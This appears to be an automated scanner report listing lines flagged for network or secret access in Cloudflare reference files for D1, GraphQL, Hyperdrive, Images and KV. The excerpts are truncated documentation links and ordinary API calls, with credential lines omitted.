| Interpret results and query metadata | [Return objects](https://developers.cloudflare.com/d1/worker-api/return-object/index.md) | | Choose supported JavaScript values and TypeScript result types | [Workers Binding API](https://developers. - Network accessline 10
| Choose supported JavaScript values and TypeScript result types | [Workers Binding API](https://developers.cloudflare.com/d1/worker-api/index.md) | | Choose consistency constraints and carry bookmarks between requests | [Read replication a - Network accessline 11
| Choose consistency constraints and carry bookmarks between requests | [Read replication and Sessions API](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) | - Network accessline 12
| Query from a server-side script outside Workers | [REST query API](https://developers.cloudflare.com/api/resources/d1/subresources/database/methods/query/index.md) | - Network accessline 13
| Handle query failures and transient errors | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md) and [retry queries](https://developers.cloudflare.com/d1/best-practices/retry-queries/index.md) | - Network accessline 14
| Test database queries and apply migrations in tests | [Workers Vitest APIs: D1](https://developers.cloudflare.com/workers/testing/vitest-integration/test-apis/index.md#d1) |
packages/autoskills/skills-registry/cloudflare/references/d1/configuration.md
- Network accessline 5
| Task | Current documentation | | --- | --- | | Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) | - Network accessline 6
| --- | --- | | Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) | | Configure binding fields and multiple databases | [Wrangler D1 configuration](https://developer - Network accessline 7
| Create a database and attach a Worker binding | [Getting started](https://developers.cloudflare.com/d1/get-started/index.md) | - Network accessline 8
| Configure binding fields and multiple databases | [Wrangler D1 configuration](https://developers.cloudflare.com/workers/wrangler/configuration/index.md#d1-databases) | - Network accessline 9
| Separate staging and production databases | [D1 environments](https://developers.cloudflare.com/d1/configuration/environments/index.md) | - Network accessline 10
| Create, track, and apply schema migrations | [Migrations](https://developers.cloudflare.com/d1/reference/migrations/index.md) | - Network accessline 11
| Look up CLI flags for management, execution, and exports | [D1 Wrangler commands](https://developers.cloudflare.com/d1/wrangler-commands/index.md) | - Network accessline 12
| Develop against local database state | [Local development](https://developers.cloudflare.com/d1/best-practices/local-development/index.md) | - Network accessline 13
| Generate binding types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 14
| Choose an ORM or query builder, including Drizzle | [D1 community projects](https://developers.cloudflare.com/d1/reference/community-projects/index.md) (follow the integration's current setup guide) | - Network accessline 15
| Import or export SQL data | [Import and export data](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) | - Network accessline 16
| Enable replicas and use them through sessions | [Read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) |
packages/autoskills/skills-registry/cloudflare/references/d1/gotchas.md
- Network accessline 5
| Symptom or question | What to check | | --- | --- | | Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and appl - Network accessline 6
| --- | --- | | Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and applied [migrations](https://developers.clou - Network accessline 7
| Missing table, query exception, or constraint error | [Debug D1](https://developers.cloudflare.com/d1/observability/debug-d1/index.md); verify the target binding, environment, and applied [migrations](https://developers.cloudflare.com/d1/ - Network accessline 8
| Boolean, date, or other binding type mismatch | [Workers Binding API type conversion](https://developers.cloudflare.com/d1/worker-api/index.md) and [SQL support](https://developers.cloudflare.com/d1/sql-api/sql-statements/index.md) | - Network accessline 9
| Foreign key failure during writes or migrations | [Foreign key enforcement and deferral](https://developers.cloudflare.com/d1/sql-api/foreign-keys/index.md) | - Network accessline 10
| Slow queries, scans, or excessive rows read | [Indexes and query plans](https://developers.cloudflare.com/d1/best-practices/use-indexes/index.md) and [metrics](https://developers.cloudflare.com/d1/observability/metrics-analytics/index.md) - Network accessline 11
| Query duration, statement, storage, or account limits | [Current limits](https://developers.cloudflare.com/d1/platform/limits/index.md) | - Network accessline 12
| Unexpected usage charges or plan assumptions | [Pricing](https://developers.cloudflare.com/d1/platform/pricing/index.md) | - Network accessline 13
| Stale reads after a write | [Sessions, bookmarks, and read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) | - Network accessline 14
| Transient query failures | [Retry guidance](https://developers.cloudflare.com/d1/best-practices/retry-queries/index.md); check idempotency before retrying writes | - Network accessline 15
| Import/export failure or unsupported data | [Import/export behavior and limitations](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) | - Network accessline 16
| Local and deployed databases differ | [Local development](https://developers.cloudflare.com/d1/best-practices/local-development/index.md) and [environment configuration](https://developers.cloudflare.com/d1/configuration/environments/inde
packages/autoskills/skills-registry/cloudflare/references/d1/patterns.md
- Network accessline 5
| Task | Current documentation | | --- | --- | | Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudfla - Network accessline 6
| --- | --- | | Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudflare.com/d1/sql-api/sql-statements/ - Network accessline 7
| Design pagination, filters, joins, and aggregations | [Query a database](https://developers.cloudflare.com/d1/best-practices/query-d1/index.md) and [supported SQL](https://developers.cloudflare.com/d1/sql-api/sql-statements/index.md) | - Network accessline 8
| Reduce scans and inspect query plans | [Use indexes](https://developers.cloudflare.com/d1/best-practices/use-indexes/index.md) | - Network accessline 9
| Batch writes or transform data | [Database API](https://developers.cloudflare.com/d1/worker-api/d1-database/index.md) and [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) | - Network accessline 10
| Store and query event metadata | [Query JSON](https://developers.cloudflare.com/d1/sql-api/query-json/index.md) | - Network accessline 11
| Evaluate a cache in front of D1 | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) | - Network accessline 12
| Choose shared or per-tenant databases | [D1 FAQs](https://developers.cloudflare.com/d1/reference/faq/index.md) and [limits](https://developers.cloudflare.com/d1/platform/limits/index.md) | - Network accessline 13
| Reduce read latency while preserving required consistency | [Read replication](https://developers.cloudflare.com/d1/best-practices/read-replication/index.md) | - Network accessline 14
| Plan point-in-time recovery or portable backups | [Time Travel](https://developers.cloudflare.com/d1/reference/time-travel/index.md) and [import/export](https://developers.cloudflare.com/d1/best-practices/import-export-data/index.md) |
packages/autoskills/skills-registry/cloudflare/references/graphql-api/README.md
- Network accessline 7
- **Single endpoint** for all analytics: `https://api.cloudflare.com/client/v4/graphql` - Network accessline 32
| Concept | Description | |---------|-------------| | **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` | - Network accessline 33
|---------|-------------| | **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` | | **Explorer** | [graphql.cloudflare.com](https://graphql.cloudflare.com/) - interactive query builder | - Network accessline 34
| **Endpoint** | `POST https://api.cloudflare.com/client/v4/graphql` | - Network accessline 35
| **Explorer** | [graphql.cloudflare.com](https://graphql.cloudflare.com/) - interactive query builder | - Network accessline 142
- [GraphQL Analytics API Docs](https://developers.cloudflare.com/analytics/graphql-api/index.md) - Network accessline 143
- [GraphQL API Explorer](https://graphql.cloudflare.com/) - Network accessline 144
- [Observability Reference](../observability/) - Workers Logs, Tail Workers, console logging - [Analytics Engine Reference](../analytics-engine/) - Custom high-cardinality analytics via Workers - [Web Analytics docs](https://developers.clou - Network accessline 145
- [Analytics Engine Reference](../analytics-engine/) - Custom high-cardinality analytics via Workers - [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) - Client-side (RUM) analytics - [Cloudflare API docs](http - Network accessline 146
- [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) - Client-side (RUM) analytics - Network accessline 147
- [Cloudflare API docs](https://developers.cloudflare.com/fundamentals/api/index.md) - REST API, SDKs, authentication basics
packages/autoskills/skills-registry/cloudflare/references/graphql-api/configuration.md
- Network accessline 13
Create tokens at: [dash.cloudflare.com > Account API Tokens](https://dash.cloudflare.com/?to=/:account/api-tokens) - Network accessline 16
# Verify token curl -s https://api.cloudflare.com/client/v4/graphql \ - Network accessline 17
[Credential-related source omitted] - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Network accessline 44
const GRAPHQL_ENDPOINT = "https://api.cloudflare.com/client/v4/graphql"; - Network accessline 46
async function queryGraphQL<T>(query: string, variables: Record<string, unknown> = {}): Promise<T> { const response = await fetch(GRAPHQL_ENDPOINT, { - Network accessline 47
const response = await fetch(GRAPHQL_ENDPOINT, { - Access to secretsline 49
[Credential-related source omitted] - Network accessline 64
def query_graphql(query: str, variables: dict = None) -> dict: r = requests.post("https://api.cloudflare.com/client/v4/graphql", - Network accessline 65
r = requests.post("https://api.cloudflare.com/client/v4/graphql", - Access to secretsline 66
[Credential-related source omitted] - Network accessline 77
Store the API token as a secret (`CF_API_TOKEN`). Use standard `fetch` to POST to `https://api.cloudflare.com/client/v4/graphql` with the same JSON body format as above. Always check `response.errors` — GraphQL returns 200 even on query fai - Network accessline 81
Interactive explorer at [graphql.cloudflare.com](https://graphql.cloudflare.com/) — provides schema docs, autocomplete, variable panel, and shareable queries. Authenticates via your Cloudflare dashboard session. - Network accessline 109
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Network accessline 110
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/graphql-api/gotchas.md
- Network accessline 47
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/hyperdrive/README.md
- Network accessline 3
Use Hyperdrive to connect Workers to an existing PostgreSQL or MySQL database with connection pooling and optional query caching. It does not replace the origin database or replicate its data. Start with [how Hyperdrive works](https://devel - Network accessline 7
Fetch the relevant official page before implementing. Driver versions, compatibility settings, API shapes, CLI flags, cache settings, and limits belong in the docs rather than this reference. Use the [Hyperdrive documentation index](https:/ - Network accessline 20
- Choose a driver for the database engine and existing application stack; verify supported versions and Worker requirements in its guide. - Create database clients inside each handler invocation. Hyperdrive manages the underlying origin poo - Network accessline 21
- Create database clients inside each handler invocation. Hyperdrive manages the underlying origin pool; consult [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md) for cleanup behavio - Network accessline 22
- Choose caching by read freshness. Disabling caching still allows connection pooling; a write does not invalidate cached reads. See [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md). - Network accessline 26
- [D1](../d1/) for a managed SQLite alternative. - [Workers](https://developers.cloudflare.com/workers/index.md) for the runtime and bindings. - Network accessline 27
- [Workers](https://developers.cloudflare.com/workers/index.md) for the runtime and bindings.
packages/autoskills/skills-registry/cloudflare/references/hyperdrive/api.md
- Network accessline 7
| Task | Official documentation | |------|------------------------| | PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/example - Network accessline 8
|------|------------------------| | PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-dri - Network accessline 9
| PostgreSQL with node-postgres (`pg`), including binding connection string and parameterized queries | [node-postgres](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/node-postgres/i - Network accessline 10
| PostgreSQL with tagged-template queries and Postgres.js driver options | [Postgres.js](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/postgres-js/index.md) | - Network accessline 11
| MySQL with binding connection properties and Worker-specific driver options | [mysql2](https://developers.cloudflare.com/hyperdrive/examples/connect-to-mysql/mysql-drivers-and-libraries/mysql2/index.md) | - Network accessline 12
| Check database features, prepared statements, and library compatibility | [Supported databases and features](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/index.md) | - Network accessline 13
| Generate binding and runtime TypeScript types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 15
Keep an existing supported driver when it fits the application. Choose by database engine and library integration needs; do not infer cache behavior from a driver's prepared-statement setting. Fetch [query caching](https://developers.cloudf - Network accessline 19
| Task | Official documentation | |------|------------------------| | Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle- - Network accessline 20
|------|------------------------| | Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle-orm/index.md) | | Use Drizzle with - Network accessline 21
| Use Drizzle with PostgreSQL | [PostgreSQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/drizzle-orm/index.md) | - Network accessline 22
| Use Drizzle with MySQL | [MySQL Drizzle guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-mysql/mysql-drivers-and-libraries/drizzle-orm/index.md) | - Network accessline 23
| Use Prisma with PostgreSQL | [Prisma guide](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/prisma-orm/index.md) | - Network accessline 24
| Assess another query builder, including Kysely | [Postgres.js integration notes](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/postgres-drivers-and-libraries/postgres-js/index.md) and [database compatibility](h - Network accessline 26
An ORM still uses a database driver and inherits its Worker connection constraints. Keep clients scoped to the invocation using [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md). Whe
packages/autoskills/skills-registry/cloudflare/references/hyperdrive/configuration.md
- Network accessline 5
| Task | Official documentation | |------|------------------------| | Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) | - Network accessline 6
|------|------------------------| | Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) | | Create, inspect, update, or delete configurations; set cache o - Network accessline 7
| Create the first configuration and bind it to a Worker | [Get started](https://developers.cloudflare.com/hyperdrive/get-started/index.md) | - Network accessline 8
| Create, inspect, update, or delete configurations; set cache or pool options | [Wrangler commands](https://developers.cloudflare.com/hyperdrive/reference/wrangler-commands/index.md) | - Network accessline 9
| Generate TypeScript types from Worker configuration | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 10
| Connect a private database using the recommended Workers VPC route | [Workers VPC integration](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database-vpc/index.md) | - Network accessline 11
| Maintain a private database connection using Tunnel and Access | [Tunnel integration](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database/index.md) | - Network accessline 12
| Configure database network access | [Firewall and networking](https://developers.cloudflare.com/hyperdrive/configuration/firewall-and-networking-configuration/index.md) | - Network accessline 13
| Configure server verification or client certificates | [SSL/TLS certificates](https://developers.cloudflare.com/hyperdrive/configuration/tls-ssl-certificates-for-hyperdrive/index.md) | - Network accessline 14
| Rotate origin database credentials | [Credential rotation](https://developers.cloudflare.com/hyperdrive/configuration/rotate-credentials/index.md) | - Network accessline 15
| Configure cache freshness or separate cached and fresh-read bindings | [Query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md) | - Network accessline 16
| Budget origin connections across configurations | [Tune connection pooling](https://developers.cloudflare.com/hyperdrive/configuration/tune-connection-pool/index.md) | - Network accessline 17
| Choose local database access or remote Hyperdrive testing | [Local development](https://developers.cloudflare.com/hyperdrive/configuration/local-development/index.md) | - Network accessline 18
| Evaluate Worker placement for multiple database round trips | [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md) | - Network accessline 22
- Identify the database engine, provider, and network path first. The [PostgreSQL](https://developers.cloudflare.com/hyperdrive/examples/connect-to-postgres/index.md) and [MySQL](https://developers.cloudflare.com/hyperdrive/examples/connect
packages/autoskills/skills-registry/cloudflare/references/hyperdrive/gotchas.md
- Network accessline 3
Start with the actual error and the affected configuration. Fetch [Troubleshoot and debug](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/index.md) for current error codes and diagnosis rather than guessing from - Network accessline 5
| Symptom | What to inspect and where to read | |---------|----------------------------------| | Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare. - Network accessline 6
|---------|----------------------------------| | Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/ind - Network accessline 7
| Connection refused or authentication failure | Check origin reachability and credentials using [troubleshooting](https://developers.cloudflare.com/hyperdrive/observability/troubleshooting/index.md) and [firewall/networking configuration]( - Network accessline 8
| Private database or TLS failure | Follow the selected [Workers VPC](https://developers.cloudflare.com/hyperdrive/configuration/connect-to-private-database-vpc/index.md) or [Tunnel/Access](https://developers.cloudflare.com/hyperdrive/confi - Network accessline 9
| Pool exhaustion or too many connections | Distinguish client connection lifetime from origin pool capacity. Read [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md), [pool tuning](ht - Network accessline 10
| Query timeout | Check the current [limits](https://developers.cloudflare.com/hyperdrive/platform/limits/index.md) and [metrics](https://developers.cloudflare.com/hyperdrive/observability/metrics/index.md) before changing query or transact - Network accessline 11
| Stale reads or unexpectedly uncached queries | Inspect the binding's cache configuration and query eligibility in [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md). Writes do not purge cached re - Network accessline 12
| Slow multi-query requests | Inspect [metrics](https://developers.cloudflare.com/hyperdrive/observability/metrics/index.md) and evaluate [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md). | - Network accessline 13
| Local connection failure, ignored environment variable, or absent cache behavior | Check binding names, local connection overrides, precedence, and remote testing in [local development](https://developers.cloudflare.com/hyperdrive/configu - Network accessline 14
| Unsupported driver or SQL feature | Check [supported databases and features](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/index.md) and the selected [driver guide](./api.md). | - Network accessline 18
Retrieve [limits](https://developers.cloudflare.com/hyperdrive/platform/limits/index.md) and [pricing](https://developers.cloudflare.com/hyperdrive/platform/pricing/index.md) for current plan allowances, connection and query bounds, and lim
packages/autoskills/skills-registry/cloudflare/references/hyperdrive/patterns.md
- Network accessline 5
| Workload or decision | Guidance and documentation | |----------------------|----------------------------| | Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching - Network accessline 6
|----------------------|----------------------------| | Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching](https://developers.cloudflare.com/hyperdrive/concept - Network accessline 7
| Popular content or analytics dashboards | Cache only when the product can tolerate the configured stale window. Use [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-caching/index.md) for eligibility, parameters, - Network accessline 8
| Mixed cached reads and fresh reads | Route authentication, permissions, and reads after writes through a cache-disabled configuration. Writes do not invalidate cached results; see [read-after-write behavior](https://developers.cloudflare. - Network accessline 9
| Multi-tenant queries | Derive tenant scope from authenticated application context and apply it to every query. A cache is not an authorization boundary. Review [query caching](https://developers.cloudflare.com/hyperdrive/concepts/query-ca - Network accessline 10
| Globally distributed callers | Understand the distinction between fast connection setup and the remaining query round trip in [how Hyperdrive works](https://developers.cloudflare.com/hyperdrive/concepts/how-hyperdrive-works/index.md). | | - Network accessline 11
| Multiple sequential database queries | Measure placement rather than assuming the nearest user location is best. Consult [Smart Placement](https://developers.cloudflare.com/workers/configuration/placement/index.md) and [Hyperdrive metrics - Network accessline 12
| Transactions or connection-local state | Keep transactions short and do not assume state survives across transactions. Fetch [connection pooling](https://developers.cloudflare.com/hyperdrive/concepts/connection-pooling/index.md) and [supp - Network accessline 13
| Client lifetime and pool sizing | Create clients per handler invocation; Hyperdrive owns the origin pool. Use [connection lifecycle](https://developers.cloudflare.com/hyperdrive/concepts/connection-lifecycle/index.md) and [pool tuning](ht
packages/autoskills/skills-registry/cloudflare/references/images/api.md
- Network accessline 3
| Operation | Documentation | |-----------|---------------| | Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/in - Network accessline 4
|-----------|---------------| | Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) | | Upload, li - Network accessline 5
| Optimize image bytes in a Worker; select input, transform, output, and response methods | [Optimize with Workers](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) | - Network accessline 6
| Upload, list, retrieve, update, or delete hosted images from a Worker | [Manage hosted images with Workers](https://developers.cloudflare.com/images/storage/binding/index.md) | - Network accessline 7
| Upload or manage images through HTTP | [Upload methods](https://developers.cloudflare.com/images/storage/upload-images/methods/index.md#upload-using-api) and its linked Images API reference | - Network accessline 8
| Accept uploads directly from a client | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) | - Network accessline 9
| Construct hosted-image delivery URLs | [Serve uploaded images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md) | - Network accessline 10
| Apply URL optimization parameters or select fit, quality, and format | [Optimization features](https://developers.cloudflare.com/images/optimization/features/index.md) | - Network accessline 11
| Draw overlays or watermarks | [Draw overlays](https://developers.cloudflare.com/images/optimization/draw-overlays/index.md) |
packages/autoskills/skills-registry/cloudflare/references/images/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) | - Network accessline 6
|------|---------------| | Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) | | Configure hosted-image management in a Worker | [Hosted binding setup](https://devel - Network accessline 7
| Add the optimization binding | [Binding setup](https://developers.cloudflare.com/images/optimization/binding/index.md#setup) | - Network accessline 8
| Configure hosted-image management in a Worker | [Hosted binding setup](https://developers.cloudflare.com/images/storage/binding/index.md#setup) | - Network accessline 9
| Choose local or remote development for the optimization binding | [Local binding development](https://developers.cloudflare.com/images/optimization/binding/index.md#interact-with-your-images-binding-locally) | - Network accessline 10
| Upload through the dashboard or API | [Upload methods](https://developers.cloudflare.com/images/storage/upload-images/methods/index.md) | - Network accessline 11
| Create named presets for hosted images | [Create predefined variants](https://developers.cloudflare.com/images/optimization/hosted-images/create-variants/index.md) | - Network accessline 12
| Enable dynamic options for hosted-image URLs | [Enable flexible variants](https://developers.cloudflare.com/images/optimization/hosted-images/enable-flexible-variants/index.md) | - Network accessline 13
| Find account hash and delivery URL components | [Serve uploaded images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md) | - Network accessline 14
| Configure private access and generate signed URLs | [Serve private images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-private-images/index.md) | - Network accessline 15
| Set hosted-image cache lifetime | [Browser TTL](https://developers.cloudflare.com/images/optimization/hosted-images/browser-ttl/index.md) |
packages/autoskills/skills-registry/cloudflare/references/images/gotchas.md
- Network accessline 5
| Symptom or question | Documentation | |---------------------|---------------| | Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/ - Network accessline 6
|---------------------|---------------| | Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/troubleshooting/index.md) | | Input size - Network accessline 7
| Resizing is absent, an origin request fails, or a transformation returns an error code | [Troubleshooting](https://developers.cloudflare.com/images/reference/troubleshooting/index.md) | - Network accessline 8
| Input size, dimensions, animation, or format compatibility | [Limits and formats](https://developers.cloudflare.com/images/get-started/limits/index.md) — choose the section for the affected interface | - Network accessline 9
| Unexpected fit, quality, format, or crop behavior | [Optimization features](https://developers.cloudflare.com/images/optimization/features/index.md) | - Network accessline 10
| Binding input, output, or response handling fails | [Binding methods](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) | - Network accessline 11
| Local behavior differs from production | [Local binding development](https://developers.cloudflare.com/images/optimization/binding/index.md#interact-with-your-images-binding-locally) | - Network accessline 12
| Private delivery fails or an image is unexpectedly public | [Serve private images](https://developers.cloudflare.com/images/optimization/hosted-images/serve-private-images/index.md) and [variant public access](https://developers.cloudflar - Network accessline 13
| Remote transformations appear stale | [Caching and purging](https://developers.cloudflare.com/images/reference/troubleshooting/index.md#caching-and-purging) | - Network accessline 14
| Worker transformations repeat unnecessarily | [Binding caching guidance](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) |
packages/autoskills/skills-registry/cloudflare/references/images/patterns.md
- Network accessline 5
| Workflow | Documentation | |----------|---------------| | Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) | - Network accessline 6
|----------|---------------| | Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) | | Serve images for different lay - Network accessline 7
| Let users upload without exposing account credentials | [Direct Creator Upload](https://developers.cloudflare.com/images/storage/upload-images/direct-creator-upload/index.md) | - Network accessline 8
| Serve images for different layouts and display densities | [Make responsive images](https://developers.cloudflare.com/images/optimization/make-responsive-images/index.md) | - Network accessline 9
| Select output format for hosted images | [Hosted-image format optimization](https://developers.cloudflare.com/images/optimization/hosted-images/serve-uploaded-images/index.md#optimize-format) | - Network accessline 10
| Select output format for a Worker pipeline | [Workers optimization binding](https://developers.cloudflare.com/images/optimization/binding/index.md) | - Network accessline 11
| Optimize user uploads, add a watermark, and store the result in R2 | [Transform user-uploaded images before uploading to R2](https://developers.cloudflare.com/images/tutorials/optimize-user-uploaded-image/index.md) | - Network accessline 12
| Compose overlays and watermarks | [Draw overlays](https://developers.cloudflare.com/images/optimization/draw-overlays/index.md) | - Network accessline 13
| Cache a Worker transformation response | [Binding methods and caching guidance](https://developers.cloudflare.com/images/optimization/binding/index.md#methods) | - Network accessline 14
| Configure hosted-image browser caching | [Browser TTL](https://developers.cloudflare.com/images/optimization/hosted-images/browser-ttl/index.md) |
packages/autoskills/skills-registry/cloudflare/references/kv/README.md
- Network accessline 3
Use KV for read-heavy configuration, preferences, and application caches that tolerate stale data. Read [how KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md) before choosing it: reads are eventually consistent, - Network accessline 5
For atomic updates or coordination, consider [Durable Objects](https://developers.cloudflare.com/durable-objects/index.md); for relational queries, [D1](../d1/); for large objects, [R2](../r2/). Use the [storage comparison](https://develope - Network accessline 7
Read the current documentation for the task before implementing. Use the [KV documentation index](https://developers.cloudflare.com/kv/llms.txt) to discover additional guides; these files preserve task routes rather than copies of APIs, com - Network accessline 11
- [Get started](https://developers.cloudflare.com/kv/get-started/index.md): create a namespace, bind it, and read and write data.
packages/autoskills/skills-registry/cloudflare/references/kv/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) | - Network accessline 6
|------|---------------| | Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) | | Read metadata with values; tune read cach - Network accessline 7
| Read one or several keys; choose text, JSON, binary, or stream results | [Read key-value pairs](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) | - Network accessline 8
| Read metadata with values; tune read caching or coalesce related keys | [Read guidance](https://developers.cloudflare.com/kv/api/read-key-value-pairs/index.md) | - Network accessline 9
| Write values and metadata; set absolute expiration or a relative lifetime | [Write key-value pairs](https://developers.cloudflare.com/kv/api/write-key-value-pairs/index.md) | - Network accessline 10
| Delete a key | [Delete key-value pairs](https://developers.cloudflare.com/kv/api/delete-key-value-pairs/index.md) | - Network accessline 11
| Enumerate keys, filter by prefix, and paginate | [List keys](https://developers.cloudflare.com/kv/api/list-keys/index.md) | - Network accessline 12
| Access namespaces or perform bulk operations outside a Worker | [KV REST API](https://developers.cloudflare.com/api/resources/kv/index.md) and [Wrangler KV commands](https://developers.cloudflare.com/kv/reference/kv-commands/index.md) |
packages/autoskills/skills-registry/cloudflare/references/kv/configuration.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindin - Network accessline 6
|------|---------------| | Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) | | Configur - Network accessline 7
| Create a namespace and connect a Worker | [Get started](https://developers.cloudflare.com/kv/get-started/index.md) and [KV bindings](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) | - Network accessline 8
| Configure staging and production namespaces | [KV environments](https://developers.cloudflare.com/kv/reference/environments/index.md) | - Network accessline 9
| Generate Worker environment and binding types | [Workers TypeScript](https://developers.cloudflare.com/workers/languages/typescript/index.md) | - Network accessline 10
| Develop against local storage or a remote binding | [KV local development](https://developers.cloudflare.com/kv/concepts/kv-bindings/index.md) and [remote bindings](https://developers.cloudflare.com/workers/local-development/index.md#remo - Network accessline 11
| Manage namespaces, individual keys, and bulk files from the CLI | [Wrangler KV commands](https://developers.cloudflare.com/kv/reference/kv-commands/index.md) | - Network accessline 12
| Manage KV from another service or SDK | [KV REST API](https://developers.cloudflare.com/api/resources/kv/index.md) |
packages/autoskills/skills-registry/cloudflare/references/kv/gotchas.md
- Network accessline 5
| Symptom or decision | Documentation and guidance | |---------------------|----------------------------| | Stale value after a write or delete | [How KV works](https://developers.cloudflare.com/kv/concepts/how-kv-works/index.md): allow for - Network accessline 6
